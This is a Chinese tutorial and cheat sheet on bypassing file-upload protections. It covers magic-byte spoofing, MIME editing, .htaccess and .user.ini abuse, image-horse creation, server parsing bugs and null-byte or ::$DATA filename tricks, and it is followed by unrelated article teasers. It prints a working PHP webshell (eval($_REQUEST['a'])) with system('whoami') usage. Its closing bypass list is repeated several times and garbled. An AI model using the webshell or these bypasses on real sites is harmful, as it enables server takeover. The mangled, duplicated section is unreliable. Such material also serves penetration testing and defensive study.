文件上传基础篇

文件上传基础篇

文件上传漏洞原理

​ 目标网站存在文件上传接口,但是对用户上传的文件没有做仔细甄别,导致黑客可以根据此功能点直接上传木马到网站服务器,造成危害

文件上传存在点

​ 通常有头像上传,pdf上传

文件上传防护

​ 前后端同时验证文件后缀,黑白名单,校验文件头,校验文件内容,校验mime,二次渲染

文件上传绕过防护

前端校验:直接警用js或者修改js代码,也可以使用burp抓包修改文件名

文件头校验:常见于图片上传点,服务器会检测文件类型的文件头

常见文件头

JPEG (jpg),                         文件头:FFD8FF               文件尾:FF D9               
PNG (png),                         文件头:89504E47              文件尾:AE 42 60 82
GIF (gif),                           文件头:47494638              文件尾:00 3B                                                                 ZIP Archive (zip),                     文件头:504B0304                      文件尾:50 4BTIFF (tif),                              文件头:49492A00                      文件尾:
Windows Bitmap (bmp),         文件头:424D                         文件尾:
CAD (dwg),                           文件头:41433130                      文件尾:
Adobe Photoshop (psd),          文件头:38425053                      文件尾:
Rich Text Format (rtf),             文件头:7B5C727466                      文件尾:
XML (xml),                              文件头:3C3F786D6C                     文件尾:
HTML (html),                           文件头:68746D6C3E
Email [thorough only] (eml),     文件头:44656C69766572792D646174653A
Outlook Express (dbx),            文件头:CFAD12FEC5FD746F
Outlook (pst),                         文件头:2142444E
MS Word/Excel (xls.or.doc),      文件头:D0CF11E0
MS Access (mdb),                    文件头:5374616E64617264204A
WordPerfect (wpd),                  文件头:FF575043
Adobe Acrobat (pdf),               文件头:255044462D312E
Quicken (qdf),                         文件头:AC9EBD8F
Windows Password (pwl),         文件头:E3828596RAR Archive (rar),                    文件头:52617221
Wave (wav),                            文件头:57415645
AVI (avi),                                 文件头:41564920
Real Audio (ram),                     文件头:2E7261FD
Real Media (rm),                       文件头:2E524D46
MPEG (mpg),                           文件头:000001BA
MPEG (mpg),                           文件头:000001B3
Quicktime (mov),                     文件头:6D6F6F76
Windows Media (asf),               文件头:3026B2758E66CF11
MIDI (mid),                        文件头:4D546864

MIME校验:即http数据包中的Content-Type字段,直接用burp抓包修改此字段

二次渲染:上传的文件被服务器端修改了,常见于头像上传

(1)上传gif图片:先将普通的gif图片上传,会被渲染,渲染之后再下载下来,与原git图片对比,找到渲染前后没有变化的位置,然后在这些位置插入一句话木马,再上传即可。

(2)上传jpg图片:这两种格式图片的二次渲染绕过要难很多很多:(索引类型图,写入 PLTE 数据块或写入IDAT数据块),jpg(成功性不大)

条件竞争:当文件上传后会短暂存在然后被删除时,利用短时间大量高并发不停写入文件,文件作用为生成木马文件,当服务器未来得及删除文件时,成功创建木马文件

黑名单:限制一些文件后缀例如(exe,php,jsp,asp等)

上传特殊可解析后缀
asp|asa|cer|cdx
aspx|ascx|ashx|asax|asac
php|php2|php3|php4|php5|asis|htaccess|.user.ini|phtm|phtml、pht(是否解析需要根据配置文件中设置类型来决定)
jsp|jspx|jspf
htm|html|shtml|pwml|js
vbs|asis|sh|reg|cgi|exe|dll|com|bat|pl|cfc|cfm|ini
上传.htaccess
.htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过 .htaccess文件,可以实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能IIS平台上不存在该文件,该文件默认开启,启用和关闭在 httpd.conf 文件中配置。.htaccess 文件生效前提条件为:
mod_rewrite 模块开启
AllowOverride All
上传.user.ini文件
原理:
1、.user.ini 有点像.htaccess,php运行时,会检索加载所有目录下的.ini配置文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER['DOCUMENT_ROOT'] 所指定的)。
2、.user.ini是一个能被动态加载的ini文件,这点和php.ini不同。也就是说修改了.user.ini后,不需要重启服务器中间件,只需要等待user_ini.cache_ttl所设置的时间(默认为300秒),即可被重新加载。
利用:
上传.user.ini
auto_prepend_file=1.gif	# 要访问的文件加载之前加载,
或者
auto_append_file=1.gif	# 要访问的文件加载之后加载上传一个包含webshell代码的1.gif
GIF98A <?php eval($_REQUEST['a']);?>访问本目录下任意文件附带参数?a=xxx 就可以实现命令执行
?a=phpinfo(); ?a=system('whoami');

白名单:只允许规定文件后缀上传,常见头像上传(限制只能为gif,png,jpg后缀上传)

图片马结合文件包含漏洞,将恶意代码放在图片马中
生成图片马:
制作方法: copy 1.jpg/b + 1.php/a 2.jpg      b表示二进制文件  a表示ASCII文件也可以使用edjpgcom.exe工具然后结合文件包含漏洞利用
配合解析漏洞
IIS:
目录解析漏洞(/test.asp/1.jps)
文件名解析漏洞(test.asp;.jpg)
畸形解析漏洞(test.jpg/*.php)Nginx:
畸形解析漏洞(test.jpg/*.php)
%00空字节代码解析漏洞
CVE-2013-4547(%20%00)Apache:
文件名解析漏洞(test.php.owf.xdx)

利用NTFS ADS特性

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

其他
点绕过、空格绕过、后缀双写绕过、后缀大小写绕过、%00绕过、0x00绕过GET:
shell.php%00.jpg
POST:
(hex里面改)
shell.php%20%00.jpg
shell.php.
shell.php. .
00截断、MIME、点、空格、点空格点、::$DATA
shell.php::$DATA
shell.php 
shell.php.
shell.php. .
GET:
shell.php%00.jpg
POST:
(hex里面改)
shell.php%20%00.jpg

.
shell.php. .
00截断、MIME、点、空格、点空格点、:: D A T A s h e l l . p h p : : DATA shell.php:: DATAshell.php::DATA
shell.php
shell.php.
shell.php. .
GET:
shell.php%00.jpg
POST:
(hex里面改)
shell.php%20%00.jpg


本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/757139.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【数据结构和算法初阶(C语言)】二叉树的顺序结构--堆的实现/堆排序/topk问题详解---二叉树学习日记②1

目录 ​编辑 1.二叉树的顺序结构及实现 1.1 二叉树的顺序结构 2 堆的概念及结构 3 堆的实现 3.1堆的代码定义 3.2堆插入数据 3.3打印堆数据 3.4堆的数据的删除 3.5获取根部数据 3.6判断堆是否为空 3.7 堆的销毁 4.建堆以及堆排序 4.1堆排序---是一种选择排序 4.2升序建大堆&a…

鸿蒙实战开发:【浏览器制作】

浏览器 介绍 本示例使用[ohos.systemparameter]接口和[Web组件]展示了一个浏览器的基本功能,展示网页&#xff0c;根据页面历史栈前进回退等。 效果预览 首页打开网址 使用说明: 连接Wifi&#xff0c;启动应用&#xff0c;展示默认页面内容;点击默认页面的图标跳转到对应…

C语言经典算法-7

文章目录 其他经典例题跳转链接36.排序法 - 改良的选择排序37.快速排序法&#xff08;一&#xff09;38.快速排序法&#xff08;二&#xff09;39.快速排序法&#xff08;三&#xff09;40.合并排序法 其他经典例题跳转链接 C语言经典算法-1 1.汉若塔 2. 费式数列 3. 巴斯卡三…

AnyGo for Mac最新激活版:位置模拟软件打破地域限制

AnyGo for Mac&#xff0c;一款专为Mac用户打造的位置模拟软件&#xff0c;让您能够轻松打破地域限制&#xff0c;畅享无限可能。 软件下载&#xff1a;AnyGo for Mac v7.0.0最新激活版 通过AnyGo&#xff0c;您可以随时随地模拟出任何地理位置&#xff0c;无论是国内热门景点还…

(三)pulsar可视化消息管理工具

官网&#xff1a;https://pulsar.apache.org/docs/3.2.x/administration-pulsar-manager/ 版本: 3.2.x 安装和配置 拉取容器 docker pull apachepulsar/pulsar-manager:v0.3.0运行容器&#xff1a; # pulsar消息管理工具 CURRENT_DIR$(cd dirname $0; pwd) BASE_DIR$(cd $(…

【07】进阶html5

HTML5 包含两个部分的更新,分别是文档和web api 文档 HTML5 元素表 元素语义化 元素语义化是指每个 HTML 元素都代表着某种含义,在开发中应该根据元素含义选择元素 元素语义化的好处: 利于 SEO(搜索引擎优化)利于无障碍访问利于浏览器的插件分析网页新增元素 多媒体…

手撕算法-判断是不是完全二叉树

描述&#xff1a;思路&#xff1a;采用层序遍历&#xff0c;找到一个为空的标记&#xff0c;如果后面还有值&#xff0c;就代表不是完全二叉树。代码&#xff1a; public boolean isCompleteTree (TreeNode root) {// write code hereif(root null) return true;Queue<Tree…

Go语言学习13-常见软件架构的实现

Go语言学习13-常见软件架构的实现 架构模式 An architectural pattern is a general, reusable solution to a commonly occurring problem in software architectural within a given context. ——wikipedia Pipe-Filter 架构 Pipe-Filter 模式 非常适合于数据处理及数据分…

[Qt学习笔记]Qt下使用Halcon实现采图时自动对焦的功能(Brenner梯度法)

目录 1、介绍2、实现方法2.1 算法实现过程2.2 模拟采集流程 3、总结4、代码展示 1、介绍 在机器视觉的开发中&#xff0c;现在有很多通过电机去做相机的聚焦调节&#xff0c;对比手工调节&#xff0c;自动调节效果更好&#xff0c;而且其也能满足设备自动的需求&#xff0c;尤…

HCIA ——VLAN实验

一 、 实验需求 1.PC1和PC3所在接口为access接口&#xff1b;属于vlan 2 PC2-4-5-6处于同一网段&#xff1b;其中PC2可以访问PC4-5-6 PC4可以访问PC5不能访问PC6 PC5不能访问PC6 3.PC1-PC3与PC2-4-5-6不在同一个网段 4.所有PC均使用DHCP获取IP地址&#xff0c;且PC1可以正常访问…

mysql之基本概念与安装

一 数据库的基本概念 1.1 数据 记录个体的信息 1.2 表 存放信息的集合&#xff0c;行于与列 1.3 数据库 数据库就是表的集合。它是以一定的组织方式存储的相互有关的数据集合 1.4 数据库管理系统 数据库管理系统&#xff08;DatabaseManagementSystem&#xff0c;DBMS&…

Flutter 初始WidgetState 简单应用案例分析

本系列文章主要整理Flutter的知识汇总&#xff0c;由浅入深&#xff0c;从Widget的搭建到其中的原理。本文还是围绕Widget在开发中应用和理解。 关于Flutter环境配置和首次创建可以参考前面文章。链接如下&#xff1a; Flutter 安装部署与认识Dart语言 Flutter 使用AndroidS…

MySQL 搭建双主复制服务 并 通过 HAProxy 负载均衡

一、MySQL 搭建双主复制高可用服务 在数据库管理中&#xff0c;数据的备份和同步是至关重要的环节&#xff0c;而双主复制&#xff08;Dual Master Replication&#xff09;作为一种高可用性和数据同步的解决方案&#xff0c;通过让两个数据库实例同时充当主服务器和从服务器&…

Tomcat(Win+Linux)安装教程

Windows环境安装 Tomcat安装及配置教程主要分为四步&#xff1a; 步骤一&#xff1a;确认自己是否已 安装JDK&#x1f50d; 步骤二&#xff1a;下载安装Tomcat 步骤三&#xff1a;Tomcat配置环境变量 步骤四&#xff1a;验证Tomcat配置是否成功 OK&#xff0c;我们开始&#x…

python 中 float 和 decimal 的区别

decimal --- 十进制定点和浮点运算 — Python 3.11.8 文档请参考官方说明文档&#xff1a; decimal --- 十进制定点和浮点运算 — Python 3.11.8 文档 举例&#xff1a; # 使用 Decimal 类型进行计算 from decimal import Decimaltotal_float 0.1 0.2 total_decimal Decim…

CMU 10-414/714: Deep Learning Systems --hw3

实现功能 在ndarray.py文件中完成一些python array操作 我们实现的NDArray底层存储就是一个一维向量&#xff0c;只不过会有一些额外的属性&#xff08;如shape、strides&#xff09;来表明这个flat array在维度上的分布。底层运算&#xff08;如加法、矩阵乘法&#xff09;都…

[LeetCode][LCR170]交易逆序对的总数

题目 LCR 170. 交易逆序对的总数 在股票交易中&#xff0c;如果前一天的股价高于后一天的股价&#xff0c;则可以认为存在一个「交易逆序对」。请设计一个程序&#xff0c;输入一段时间内的股票交易记录 record&#xff0c;返回其中存在的「交易逆序对」总数。 示例 1&#xf…

【VUE】前端阿里云OSS断点续传,分片上传

什么是OSS&#xff1a; 数据以对象&#xff08;Object&#xff09;的形式存储在OSS的存储空间&#xff08;Bucket &#xff09;中。如果要使用OSS存储数据&#xff0c;您需要先创建Bucket&#xff0c;并指定Bucket的地域、访问权限、存储类型等属性。创建Bucket后&#xff0c;您…

React - 实现菜单栏滚动

简介 本文将会基于react实现滚动菜单栏功能。 技术实现 实现效果 点击菜单&#xff0c;内容区域会自动滚动到对应卡片。内容区域滑动&#xff0c;指定菜单栏会被选中。 ScrollMenu.js import {useRef, useState} from "react"; import ./ScrollMenu.css;export co…

线程和进程的区别和联系

一、什么是进程 进程(Process), 是一个具有独立功能的程序关于某个数据集合的一次运行活动&#xff0c;是系统进行 【资源分配和调度】 的一个独立单位。 进程是【程序】的【一次执行】(是计算机中程序的执行过程&#xff0c;而不是计算机中的程序)进程是系统进行【资源分配和…